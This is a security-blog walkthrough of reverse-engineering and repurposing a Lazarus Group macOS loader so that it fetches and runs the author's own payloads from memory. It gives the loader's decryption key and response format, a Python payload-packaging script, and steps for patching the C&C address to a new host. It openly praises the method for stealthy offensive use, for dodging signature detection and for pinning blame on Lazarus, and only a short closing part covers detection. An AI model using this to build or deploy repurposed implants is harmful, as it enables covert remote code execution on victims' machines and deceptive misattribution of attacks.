Skip to main content

Weaponizing a Lazarus group implant

Repurposing or recycling malware is a technique that can be used by malware authors to quickly reuse capabilities of existing known malware, reducing development time while confusing attribution should the bad actor be caught.

This is a favorite technique of Patrick Wardle, Principal Security Researcher at Jamf, both for the development of penetration testing utilities that (exactly) mimic real life threats and for applied research. The concept is simple; minimally modify the malware to allow it to be controlled by the desired testers – and perhaps tweak a bit or two here and there to defeat common signature, and IOC (indicators of compromise) based detections of the known threat.

Patrick also finds this a great way to put his reverse engineering chops to work in a tangible way. In this post, he will walk you through his experience researching, breaking down, and customizing a Lazarus Group Implant, specifically a 1st stage loader, to download and execute his own custom “fileless” capabilities.

While Patrick is certainly one of the best at macOS security research and malware reverse engineering, it’d be naïve to think that Patrick alone is capable of this work – so we’ll end the blog with some suggestions on how to protect yourself from repurposed malware, and how Jamf can help.

A version of this blog was also published at Objective-See


Recently a new piece of macOS malware was discovered:

It was an intriguing specimen (internally named macloader), created by the (in)famous Lazarus group.

Some interesting highlights come up when we look at it closer:

  • Persistence:
    /Library/LaunchDaemons/vip.unioncrypto.plist -> /Library/UnionCrypto/unioncryptoupdater
  • Command and Control (C&C) Server:
  • Capabilities:
    The in-memory execution of a remotely downloaded payload.

For a full technical analysis of the sample, read the Objective-See writeup here: “Lazarus Group Goes 'Fileless'

While many aspects of the malware, such as its (launch daemon) persistence mechanism are quite prosaic, its ability to directly execute downloaded payloads directly from memory is rather unique. Besides increasing stealth and complicating forensics analysis of said payloads (as they never touch the file-system), it's amazing.

It also makes for the perfect candidate for "repurposing", which is what we'll walk-thru today.

Repurposing Malware

At DefCon #27, we spoke about, “Harnessing Weapons of Mac Destruction”, which detailed the process of repurposing (or "recycling") other peoples' Mac malware. You can also find the full slides from the talk here.

In a nutshell, the idea is to take existing malware and reconfigure it for your own surreptitious purposes. These activities can include testing, research, red-teaming, offensive cyber-operations, to name a few,

The talk also covered the many benefits of repurposing others' malware; benefits that basically boil down to the fact that various well-funded groups and agencies are creating fully-featured malware, so why not leverage their hard work a way, that if discovered, will likely be (mis)attribute back to them?

...IMHO, it's a lovely idea

The Lazarus group's malware we're looking at today is a perfect candidate for repurposing. Why? As a 1st stage loader, it simply beacons out to a remote server for 2nd stage payloads. As noted, these are executed directly from memory! Thus, once we understand its protocol and the expected format of the payloads, it should be rather trivially to repurpose the loader to communicate instead with our server, and stealthily execute our own 2nd stage payloads!

This gives us access to an advanced loader that will execute our custom payloads from memory! ...without us having to write a single line of client-side code.

Better yet, as the repurposing-modifications will be minimal, if this repurposed sample is ever detected, it surely will be (mis)attributed back to the original authors. As our 2nd stage payloads never hit the file-system, it will more than likely remain undetected.

Repurposing Lazarus's Loader

After identifying a malware specimen to repurpose ("recycle"), the next step is to comprehensively understand how it works:

In this blog post, we are going to discuss the malware's communications protocol, specifically the format of the response from the remote server ...the response that contains the 2nd stage payload(s). As our ultimate goal is to repurpose this malware such that it executes our own 2nd payloads, this protocol and payload format is essential to understand!

To facilitate dynamic analysis and to understand the malware protocol, we created a simple python HTTPS server that would respond to the malware's requests.

Although initially, we did not know the expected format of the data, trial and error (plus a healthy dose of reverse-engineering) proved sufficient!

 # python

 [+] awaiting connections
 [+] new connection from

 ======= POST HEADERS =======

 Accept: */*
 auth_signature: ca57054ea39f84a6f5ba0c65539a0762
 auth_timestamp: 1581048662
 Content-Length: 62
 Content-Type: application/x-www-form-urlencoded

 ======= POST BODY =======

 MiniFieldStorage('act', 'check')
 MiniFieldStorage('ei', 'Mac OS X 10.15 (19A603)')
 MiniFieldStorage('rlz', 'VMI5EOhq8gDz')
 MiniFieldStorage('ver', '1.0')
 [06/Feb/2020 20:11:08] "POST /update HTTP/1.1" 200 -

Armed with a simple (initially bare-boned) custom C&C server to respond to the malware's requests, we can begin to understand the network protocol, with the ultimate goal of understanding how the 2nd stage payloads should be remotely delivered to the malicious loader, on infected systems.

First, we note that on check-in the malware provides some basic information after the infected system (e.g. the macOS version/build number: Mac OS X 10.15 (19A603), serial number: VMI5EOhq8gDz, etc.), and implant version ('ver', '1.0').

Moving on we can hop into a disassembler to look at the malware's code responsible for connecting to the C&C server, and parsing/processing the server's response.

In the malware's disassembly, we find a function named onRun() that invokes a method named Barbeque::post. This method connects to the remote server ( and expects the server to respond with an HTTP 200 OK. Otherwise, it takes a nap before trying again:

 int onRun() {


 //connect to server
 if(response != 200) goto sleep;


Assuming the server responds with an HTTP 200 OK, the malware checks that at least 0x400 bytes were received, before base64-decoding said bytes:

 int onRun() {


 //rdx: # of bytes
 // make sure at least 0x400 bytes were recv'd
 if ((rdx >= 0x400) && ...)))

 //rbx: recv'd bytes
 // base64 decond recv'd bytes
 rax = base64_decode(rbx, &var_80);

} already, we know the server's response (which the malware expects to be a 2nd stage payload) must be at least 0x400 in length ...and base64 encoded. As such, we update our custom C&C server to respond with at least 0x400 bytes of base64 encoded data (that for now, just decodes to ABCDEFGHIJKLMNOPQRSTUVWXYZABCD...).

Once we respond with the correct number (0x400+) of base64 encoded bytes, the malware happily continues and invokes a function named processUpdate (at address 0x0000000100004be3). In a debugger, we can see this function takes the base64 decoded bytes (in RDI) and their length (in RSI):

 $ lldb unioncryptoupdater


(lldb) b 0x0000000100004be3
Breakpoint 1: where = unioncryptoupdater`processUpdate(unsigned char*, unsigned long), address = 0x0000000100004be3

(lldb) r


(lldb) Process 2813 stopped
* thread #1, queue = '', stop reason = breakpoint 1.1
frame #0: 0x0000000100004be3 unioncryptoupdater`processUpdate(unsigned char*, unsigned long)

(lldb) (lldb) x/s $rdi

(lldb) reg read $rsi
rsi = 0x000000000000401

As shown in the debugger output, so far, the malware is content with our server's response, as the response is over 0x400 bytes in length and encoded correctly. (Note our decoded bytes, ABC... in the rdi register).

processUpdate invokes this function it calls two other functions:

  • md5_hash_string
  • aes_decrypt_cbc
 int processUpdate(int * arg0, long arg1) {


 rax = md5_hash_string(&var_4D8);
 r15 = rbx + 0x10;
 rdx = r14 - 0x10;
 if ((var_4D8 & 0x1) != 0x0) {
 rcx = var_4C8;
 else {
 rcx = &var_4D7;
 _aes_decrypt_cbc(0x0, r15, rdx, rcx, &var_40);

Let's step thru this in a debugger to see what it's hashing, and what/how it's (AES) decrypting.

Using our simple python HTTPS (C&C) server we'll serve up again 0x400+ bytes of ABCDEFGHIJKLMNOPQRSTUVWXYZABC...:

 $ lldb unioncryptoupdater

(lldb) x/i $pc
0x100004c58 <+117>: callq 0x100004dab ; md5_hash_string(...);

//print out bytes passed to md5_hash_string()
// recall that $rsi will contain the first arg
(lldb) x/24bx $rsi
0x100008388: 0x18 0x56 0x4d 0x49 0x35 0x45 0x4f 0x68
0x100008390: 0x71 0x38 0x67 0x44 0x7a 0x00 0x00 0x00
0x100008398: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

//print out as a string
(lldb) x/s $rsi+1
0x100008389: "VMI5EOhq8gDz"

Stopping at the call to the md5_hash_string function, we can dump the string being passed in. Turns out it's the computers serial number: VMI5EOhq8gDz (albeit prefixed with 0x18).

 The calling convention utilized by macOS is the "System V" 64-bit ABI ...which always passes the first argument in the `rsi` register.

"System V operating systems [and macOS] will use RDI, RSI, RDX, RCX, R8 and R9. XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 and XMM7 will be used to pass floating point parameters. RAX will hold the syscall number. Additional arguments are passed via the stack (right to left).

Return values are sent back via RAX."

-64bit ABI Cheatsheet

Once the malware has generated an MD5 hash of this string, it invokes the aes_decrypt_cbc function. What does it pass in?

In the disassembler, the aes_decrypt_cbc function is invoked in the following manner: _aes_decrypt_cbc(0x0, r15, rdx, rcx, &var_40);

Hopping back into the debugger we can determine what the r15, rdx, and rcx registers hold:

 $ lldb unioncryptoupdater

(lldb) x/i $pc
0x100004c85 <+162>: callq 0x100004095 ; aes_decrypt_cbc

(lldb) x/s $r15
0x100800610: "QRSTUVWXYZABCDEF...

(lldb) reg read $rdx
rdx = 0x00000000000003F1

(lldb) x/16xb $rcx
0x7ffeefbff279: 0x26 0x1d 0xfd 0xb9 0x70 0x43 0x84 0xf4
0x7ffeefbff281: 0xf7 0x37 0xe0 0x1c 0x55 0x7a 0xee 0x74
  • r15: appears to be a pointer into the received (now base64 decoded) bytes. Looking back a few instructions in the disassembly we see: r15 = rbx + 0x10 (rbx is a pointer to the start of the received decoded bytes).

Thus, points exactly 0x10 (16d) bytes into the received, decoded bytes.

  • rdx: appears to be 0x10 less than the size of the total (received) decoded bytes. Again, a few instructions back, we see: rdx = r14 - 0x10 (r14 holds the total sized of the received decoded bytes).

In other words, is the remaining size of the (received) decoded bytes (from to the end!).

  • rcx: appears initially to be a pointer some random/unknown bytes (0x26 0x1d 0xfd 0xb9 ...). However, by looking back in the disassembly, we can see it's the result of hashing the VMI5EOhq8gDz string!

We can also confirm this, by manually (MD5) hashing VMI5EOhq8gDz, which results in 0x26 0x1d 0xfd 0xb9 ... (matching rcx):

 password = 'VMI5EOhq8gDz'
key = hashlib.md5(password).digest()

print('\nkey: '),
for i in range(len(key)):
 print('%x' % (ord(key[i]))),


...which prints out the (expected) key: 26 1d fd b9 70 43 84 f4 f7 37 e0 1c 55 7a ee 74

We now understand the parameters passed to the aes_decrypt_cbc function:

  • arg 0 (0x0): likely the iv (NULL)
  • arg 1 (from $r15): pointer to cipher text
  • arg 2 (from $rdx): length of cipher text
  • arg 3 (from $rcx): key (MD5 of the string VMI5EOhq8gDz)
  • arg 4 (&var_40): aes "context"

Thus, the malware is (AES) decrypting the received (now base64 decoded) payload, with key = MD5("VMI5EOhq8gDz").

After decrypting the received bytes, the malware initializes a pointer 0x90 bytes into the received bytes, and a variable with the size of the remaining bytes, before invoking the load_from_memory function:

 rbx = rbx + 0x90;
r14 = r14 - 0x90;

rax = load_from_memory(rbx, r14, &var_C0, rcx, &var_40, r9);

Before discussing the parameters passed to this function let's update our custom C&C server to serve up the same data from a file (ABCDEF...), but this time AES encrypted with the hash of "VMI5EOhq8gDz".

...we also make sure to skip the first 0x90 bytes (as the malware skips over these):

 password = 'VMI5EOhq8gDz'
key = hashlib.md5(password).digest()

iv = 16 * '\x00'
encryptor =, AES.MODE_CBC, iv)

with open(in_filename, 'rb') as infile:
 with open(out_filename, 'wb') as outfile:

 data += 0x10 * '\x00'
 chunk = 0x80 * '\x00'
 data += encryptor.encrypt(chunk)

 while True:

 chunk =
 if len(chunk) == 0:
 elif len(chunk) % 16 != 0:
 chunk += ' ' * (16 - len(chunk) % 16)

 data += encryptor.encrypt(chunk)


Setting a breakpoint on the call to the load_from_memory function (0x0000000100004cb8: call load_from_memory), we can now dump the parameters (and confirm that the encryption in our custom C&C server is correct):

 $ lldb unioncryptoupdater

(lldb) x/i $pc
0x100004cb8 <+213>: callq 0x100006dda ; load_from_memory

//1st arg
(lldb) x/s $rdi

(lldb) reg read $rsi
r14 = 0x0000000000000371

Recalling that the first and second arguments are passed in via the rdi and rsi registers, respectfully, in the above debugger output we can see the malware is passing our now decoded, decrypted "payload" (ABC...) and size, to the load_from_memory function.

Hooray, this confirms that our detailed analysis has correctly uncovered both the format, encoding, and encryption of the server's expected response.

In summary:

  • encoding: base64
  • encryption: AES (CBC-mode), with a null-IV, and key of MD5("VMI5EOhq8gDz")
  • format: 0x400+ bytes, payload starting at offset 0x90

As we now fully understand the format of the malware's protocol, in theory, we should be able remote transmit an encrypted & encoded binary payload and have the malware execute directly from memory!

...but first a brief discussion of the malware's "load and execute from memory" code.

This malware executes the 2nd stage payload from memory by doing the following:

  • The load_from_memory function mmaps memory with protections: PROT_READ | PROT_WRITE | PROT_EXEC, then copies the decrypted payload into this memory region, before invoking a function named memory_exec2.
  • The memory_exec2 function invokes the Apple API NSCreateObjectFileImageFromMemory to create an "object file image" from a memory buffer of a mach-O file then invokes the NSLinkModule function to link the "object file image".
  • Once the malware has mapped and linked the downloaded payload, it invokes a function named find_macho which appears to search the memory mapping for MH_MAGIC_64 (0xfeedfacf), the 64-bit "mach magic number" in the mach_header_64 structure.
  • Once the find_macho method returns, the malware begins parsing the mapped/linked (mach-O) payload, looking for the address of LC_MAIN load command (0x80000028), which contains information such as the entry point of the in-memory code.
  • The malware then retrieves the offset of the entry point (found at offset 0x8 within the LC_MAIN load command), sets up some arguments, then jumps to this address, to kick off the execution of the payloads binary code.
 //rcx points to the `LC_MAIN` load command
r8 = r8 + *(rcx + 0x8);

//invoke payload's entry point!
rax = (r8)(0x2, &var_40, &var_48, &var_50, r8);

Skimming over the disassembly of the memory_exec2 reveals some interesting code snippets, such as the following:

 //RDI points to the mach-O header (of the payload)
// offset 0xC in a mach-O header is file type (`uint32_t filetype`)
rbx = *(int32_t *)(rdi + 0xc);
if (rbx != 0x8) {
 *(int32_t *)(rdi + 0xc) = 0x8;

Stepping thru this code in a debugger, reveals it is checking the type of the (mach-O) binary payload (MH_EXECUTE, MH_BUNDLE, etc). If the mach-O file type is not MH_BUNDLE (0x8), it updates the (in-memory) type to be this value: *(rdi + 0xc) = 0x8.

 Process 2866 stopped
* stop reason = breakpoint 1.1

-> 0x1000069c0 <+33>: cmpl $0x8, %ebx ;0x8: MH_BUNDLE
 0x1000069c3 <+36>: je 0x1000069cc
 0x1000069c5 <+38>: movl $0x8, 0xc(%rdi)
 0x1000069cc <+45>: leaq -0x58(%rbp), %rdx

(lldb) reg read $rbx
 rbx = 0x0000000000000002 ;0x2: MH_EXECUTE

This is done, (as online research notes) as the man page for NSModule state: "Currently the implementation is limited to only Mach-O MH_BUNDLE types which are used for plugins." Thus in order to play nicely with the Apple APIs and support the in-memory execution of 'standard' mach-O executables (type: MH_EXECUTE), this 'patch' must be applied.

However, the most interesting thing about this snippet of code found within the malware, is that it's not original...

In 2017, Cylance published a blog post titled: "Running Executables on macOS From Memory". Though the topic of in-memory code execution on macOS had been covered before (as was noted in the blog post), the post provided a comprehensive technical deep-dive into the topic, and more importantly provided an open-source project which included code to perform in-memory loading: "osx_runbin".

The researcher also presented this research (and more!) at an Infiltrate talk.

If we compare Cylance's code, it is trivial to see the in-memory loader code found within the Lazarus's group's malware is nearly 100% the same: other words, the Lazarus group coders simply leveraged (copied/stole) the existing open-source osx_runbin code in order to give their loader, advanced stealth and anti-forensics capabilities. And who can blame them? Work smart, not hard, right!?

Ok, so let's start to wrap this all up, and (finally!) illustrate the full repurposing of the Lazarus group's loader, so that it beacons to our C&C server to download and execute (from memory), our 2nd stage payloads!

Step one is to modify the loader so that it beacons to our C&C server for tasking.

Looking in the disassembler, we find the hardcoded address of the malware C&C server:

Popping into a hexeditor, we can modify this to whatever URL or IP address we'd like the malware to now connect to (i.e. to from to https://allyourbase.belong/):

Once the malware checks in:

 # python

 [+] awaiting connections
 [+] new connection from

 ======= POST HEADERS =======

 Host: allyourbase.belong
 Accept: */*
 auth_signature: ca57054ea39f84a6f5ba0c65539a0762
 auth_timestamp: 1581048662
 Content-Length: 62
 Content-Type: application/x-www-form-urlencoded

 ======= POST BODY =======

 MiniFieldStorage('act', 'check')
 MiniFieldStorage('ei', 'Mac OS X 10.15 (19A603)')
 MiniFieldStorage('rlz', 'VMI5EOhq8gDz')
 MiniFieldStorage('ver', '1.0')
 [06/Feb/2020 20:11:08] "POST /update HTTP/1.1" 200 -

...we should be able to serve up our 2nd stage payloads!

Step two is to prepare and package up these payloads. This involves encrypting (AES, key: MD5("VMI5EOhq8gDz")) any mach-O binary and placing that at offset 0x90 within the server's base64-encoded response.

During our analysis phase, we had already put together some basic python code, to implement this logic:

 import os, random, struct, hashlib, base64
from Crypto.Cipher import AES

password = 'VMI5EOhq8gDz'
key = hashlib.md5(password).digest()

def encryptFile(key, in_filename, out_filename=None, chunksize=64*1024):

 iv = 16 * '\x00'
 encryptor =, AES.MODE_CBC, iv)

 data = "" 

 with open(in_filename, 'rb') as infile:
 with open(out_filename, 'wb') as outfile:

 data += 0x10 * '\x00'
 chunk = 0x80 * '\x00'
 data += encryptor.encrypt(chunk)

 while True:
 chunk =
 if len(chunk) == 0:
 elif len(chunk) % 16 != 0:
 chunk += ' ' * (16 - len(chunk) % 16)

 data += encryptor.encrypt(chunk) 


encryptFile(key, 'payloadBEFORE', 'payloadAFTER')

Now we just need a test payload ...a standard "Hello World" binary should suffice:


int main(int argc, const char * argv[]) {
 @autoreleasepool {
 // insert code here...
 NSLog(@"Hello, World!");
 return 0;

After compiling this "Hello World" code into a mach-O binary, we run it thru our python "deployment" script which encrypts, encodes, and packages it all up:

 $ python

[+] AES encrypting payload...
[+] Base64 encoding payload...

[+] payload ready for deployment!

$ hexdump -C payload

00000000 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 |ERERERERERERERER|
00000010 45 52 45 52 45 58 73 7a 75 42 33 44 7a 4a 52 6e |EREREXszuB3DzJRn|
00000020 7a 45 48 66 30 4c 42 4f 4d 66 50 41 37 5a 31 73 |zEHf0LBOMfPA7Z1s|
00000030 4a 7a 50 39 58 78 7a 64 2b 37 4a 34 47 47 50 43 |JzP9Xxzd+7J4GGPC|
00000040 47 52 44 73 68 46 52 2b 4e 32 75 66 61 47 45 42 |GRDshFR+N2ufaGEB|
00000050 6e 46 6e 33 7a 45 43 45 50 52 6f 4e 57 32 63 67 |nFn3zECEPRoNW2cg|
00000060 6f 52 7a 68 42 34 48 57 31 38 4c 42 35 48 48 4d |oRzhB4HW18LB5HHM|
00000070 53 71 6f 4a 35 74 74 63 77 38 66 63 36 74 75 6d |SqoJ5ttcw8fc6tum|

Now, we simply modify our custom C&C server to serve up this processed payload when the repurposed malware checks in with our server:

 # python

 [+] awaiting connections
 [+] new connection from

 ======= POST HEADERS =======
 Host: allyourbase.belong


 [+] responding with 2nd-stage payload (42264 bytes)

Setting a breakpoint within the memory_exec2 function (specifically at 0x0000000100006af6, the call into the payload's main/entrypoint), allows us to confirm that our payload has been successfully transmitted to the repurposed loader, unpackaged, decoded, and decrypted successfully:

 (lldb) b 0x0000000100006af6
Breakpoint 2: where = unioncryptoupdater`memory_exec2 + 343


Process 2866 stopped
* thread #1, stop reason = breakpoint 2.1

unioncryptoupdater`memory_exec2 + 343:
-> 0x100006af6 <+343>: callq *%r8 

(lldb) x/10i $r8
 0x201800f20: 55 pushq %rbp
 0x201800f21: 48 89 e5 movq %rsp, %rbp
 0x201800f24: 48 83 ec 20 subq $0x20, %rsp
 0x201800f28: c7 45 fc 00 00 00 00 movl $0x0, -0x4(%rbp)
 0x201800f2f: 89 7d f8 movl %edi, -0x8(%rbp)
 0x201800f32: 48 89 75 f0 movq %rsi, -0x10(%rbp)
 0x201800f36: e8 33 00 00 00 callq 0x201800f6e 
 0x201800f3b: 48 8d 35 c6 00 00 00 leaq 0xc6(%rip), %rsi ; @"Hello, World!"
 0x201800f42: 48 89 f7 movq %rsi, %rdi
 0x201800f45: 48 89 45 e8 movq %rax, -0x18(%rbp)
 0x201800f49: b0 00 movb $0x0, %al
 0x201800f4b: e8 12 00 00 00 callq 0x201800f62 ; NSLog

...and if we continue (c), our 2nd-stage payload is successfully executed on the infected system, directly from memory!

 (lldb) c
Process 2866 resuming
2020-02-17 23:34:30.606876-0800 unioncryptoupdater[2866:213719] Hello, World!


$ log show | grep "Hello, World"
2020-02-17 23:34:30.606982-0800 unioncryptoupdater: (core) Hello, World!

Hooray, we're stoked!


Lazarus group proves yet again to be a well-resourced, persistent threat, that continues to target macOS users with ever-evolving why not repurpose their malware for our own surreptitious purposes!?

Traditionally, repurposed malware has only been leveraged by sophisticated cyber adversaries:

However, in this blog post, we illustrated exactly how to "recycle" Lazarus latest implant, unioncryptoupdater, in a few, fairly straightforward steps.

Specifically, after reversing the sample to uncover its encryption key and encoding mechanism, we built a simple C&C server capable of speaking the malware's protocol. And after overwriting the embedded address of the attacker's C&C server in the malware's binary, with our own, the repurposing was wholly complete.

End result? An advanced persistent 1st stage implant, capable of executing our 2nd stage payloads, directly from memory! And besides not having to write a single line of "client-side" code, if our repurposed creation is ever discovered it will surely be (mis)attributed back to the Lazarus group.


Before ending, we want to briefly discuss the detection of repurposed threats. Not unlike new variants of existing malware, staying ahead of these threats is predicated on having protections that go beyond static signatures and traditional binary analysis.

For example, it’s important that your protections include visibility into the items (e.g. applications, scripts) that are registered for persistence on your computer. Malware authors will typically want to survive a reboot without losing access to a compromised computer, so they will look for some part of their kit to be restarted once the computer is rebooted.

In the case of this first stage loader (both pristine and repurposed), the Lazurus Group uses a well-known, well-supported LaunchDaemon to accomplish this goal.

How Jamf Can Help

Jamf Protect goes beyond traditional detection mechanisms by looking at macOS specific activity that maps to common attacker tactics, techniques and procedures – many of which map to the Mitre Att&ck Framework. In this way, Jamf Protect protects not just against known threats, but against the next variant, “repurposed” version or brand new 0-day threat.

Leveraging Jamf Protect’s on-device analysis of file events, its ability to automatically pivot to and analyze the binary/script that is being persisted, and the analysis of the associated meta-data attributes of the binary we accomplish the goal of detecting and centrally reporting any number of new, and potentially concerning persistence items.

Persisted Binary: /Library/UnionCypto/unioncryptoupdater

This includes the ability to extend Jamf Protect to escalate/alert on such items that are persisting untrusted binaries, via the inspection of macOS application signing certificate (or lack thereof) used to develop a tool.

This persisted binary unioncryptupdater has a non-standard signature that should not be trusted

Emerging Research

And what about detecting the in-memory execution of 2nd stage payloads? Turns out that's a bit trickier, which is one of the reasons why attackers have begun to utilize this technique!

Good news though (from the detection and IR point of view), the well-known macOS security researcher Richie Cyrus recently published a blog post that included a section titled: "Using ESF to Detect In-Memory Execution"

In his, post he notes that Apple's new Endpoint Security Framework (ESF), which Jamf Protect is built upon, can track various events, such as memory mappings which when combined with other observable events delivered by the ESF may be used to detect the execution of an in-memory payload:

"Of the event types, ES_EVENT_TYPE_NOTIFY_MMAP stands out as there was a call to mmap in the PoC code which generated the Calculator execution..."

Even today, Jamf Protect is agnostic to the fact that the second stage binary is running out of memory. It will still track activities of the memory resident code just as it would any other process and alert when it attempts to do more nefarious things than print “Hello World”.